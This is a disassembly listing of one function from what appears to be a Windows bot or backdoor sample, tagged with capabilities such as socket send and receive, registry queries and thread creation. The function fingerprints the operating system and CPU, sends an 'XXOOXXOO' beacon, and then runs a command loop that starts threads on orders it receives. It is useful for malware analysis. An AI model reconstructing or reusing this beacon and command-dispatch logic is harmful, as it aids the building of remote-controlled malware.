Function at 0x403ffb
Capabilities:
Create thread
Get socket status
Get system information on windows
Query or enumerate registry value
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe64
call fcn.004032d6
mov dword [0x408518], eax
cmp dword [0x408518], 0
jne 0x40401c
jmp 0x404532
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea eax, [ebp - 0x7a8]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
lea ecx, [ebp - 0x82c]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x7a8]
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404094
mov dword [ebp - 0x834], 0xc8
lea eax, [ebp - 0x834]
push eax
lea ecx, [ebp - 0x828]
push ecx
lea edx, [ebp - 0x830]
push edx
push 0
push str.ProductName
mov eax, dword [ebp - 0x82c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x82c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.2000
lea edx, [ebp - 0x828]
push edx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x4040c5
push str.Windows_Server_2000
lea eax, [ebp - 0x280]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x404258
push 0x4083bc
lea ecx, [ebp - 0x828]
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x4040f6
push str.Windows_XP
lea edx, [ebp - 0x280]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x404258
push str.2003
lea eax, [ebp - 0x828]
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x404127
push str.Windows_Server_2003
lea ecx, [ebp - 0x280]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x404258
push str.Vista
lea edx, [ebp - 0x828]
push edx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x404158
push str.Windows_Vista
lea eax, [ebp - 0x280]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x404258
push str.2008
lea ecx, [ebp - 0x828]
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x404189
push str.Windows_Server_2008
lea edx, [ebp - 0x280]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x404258
push 0x40841c
lea eax, [ebp - 0x828]
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x4041ba
push str.Windows_7
lea ecx, [ebp - 0x280]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x404258
push str.2012
lea edx, [ebp - 0x828]
push edx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x4041e8
push str.Windows_2012
lea eax, [ebp - 0x280]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x404258
push 0x408444
lea ecx, [ebp - 0x828]
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x404216
push str.Windows_8
lea edx, [ebp - 0x280]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x404258
push 0x408454
lea eax, [ebp - 0x828]
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x404244
push str.Windows_10
lea ecx, [ebp - 0x280]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x404258
push str.Windows_NT
lea edx, [ebp - 0x280]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
call fcn.0040333d
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x6a4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x690]
mov dword [ebp - 0x218], ecx
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.Q4_
mov edx, dword [ebp - 0x21c]
push edx
mov eax, dword [ebp - 0x218]
push eax
lea ecx, [ebp - 0x280]
push ecx
push str.XXOOXXOO:_s_d_d_s
lea edx, [ebp - 0x680]
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0x18
push 0
lea eax, [ebp - 0x680]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
add eax, 1
push eax
lea ecx, [ebp - 0x680]
push ecx
mov edx, dword [0x408518]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x4042f4
mov eax, dword [0x408518]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x404532
push 0x3c
mov ecx, dword [0x408518]
push ecx
call fcn.00403393
add esp, 8
mov edx, 1
test edx, edx
je 0x404525
mov dword [ebp - 0x938], 0
mov dword [ebp - 0x940], 0
jmp 0x404337
mov eax, dword [ebp - 0x940]
add eax, 1
mov dword [ebp - 0x940], eax
mov ecx, dword [ebp - 0x940]
cmp ecx, dword [ebp - 0x938]
jae 0x40435e
mov edx, dword [ebp - 0x940]
mov eax, dword [ebp + edx*4 - 0x934]
cmp eax, dword [0x408518]
jne 0x40435c
jmp 0x40435e
jmp 0x404328
mov ecx, dword [ebp - 0x940]
cmp ecx, dword [ebp - 0x938]
jne 0x404396
cmp dword [ebp - 0x938], 0x40
jae 0x404396
mov edx, dword [ebp - 0x940]
mov eax, dword [0x408518]
mov dword [ebp + edx*4 - 0x934], eax
mov ecx, dword [ebp - 0x938]
add ecx, 1
mov dword [ebp - 0x938], ecx
xor edx, edx
test edx, edx
jne 0x40431c
push 0
push 0
push 0
lea eax, [ebp - 0x938]
push eax
mov ecx, dword [0x408518]
add ecx, 1
push ecx
call dword [sym.imp.WS2_32.dll_select]
mov dword [ebp - 0x93c], eax
cmp dword [ebp - 0x93c], 0xffffffff
jne 0x4043cd
jmp 0x404525
cmp dword [ebp - 0x93c], 0
je case.default.0x404475
lea edx, [ebp - 0x938]
push edx
mov eax, dword [0x408518]
push eax
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je case.default.0x404475
push 0
push 0x118
lea ecx, [ebp - 0x200]
push ecx
mov edx, dword [0x408518]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x944], eax
cmp dword [ebp - 0x944], 0
je 0x404427
cmp dword [ebp - 0x944], 0xffffffff
jne 0x40442c
jmp 0x404525
push 0x204
lea eax, [ebp - 0x200]
push eax
lea ecx, [ebp - 0xb48]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0xb48]
mov dword [ebp - 0xe64], edx
mov eax, dword [ebp - 0xe64]
sub eax, 4
mov dword [ebp - 0xe64], eax
cmp dword [ebp - 0xe64], 3
ja case.default.0x404475
mov ecx, dword [ebp - 0xe64]
jmp dword [ecx*4 + 0x404536]
push 0x118
lea edx, [ebp - 0xb44]
push edx
lea eax, [ebp - 0xc60]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea ecx, [ebp - 0xc60]
push ecx
call fcn.0040343b
add esp, 4
jmp case.default.0x404475
mov dword [0x408510], 0
jmp case.default.0x404475
push 0x100
lea edx, [ebp - 0xb44]
push edx
lea eax, [ebp - 0xd60]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0xd60]
push ecx
push 0x4030e2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.default.0x404475
push 0x100
lea edx, [ebp - 0xb44]
push edx
lea eax, [ebp - 0xe60]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0xe60]
push ecx
push 0x4031fa
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x404305
mov edx, dword [0x408518]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov esp, ebp
pop ebp
ret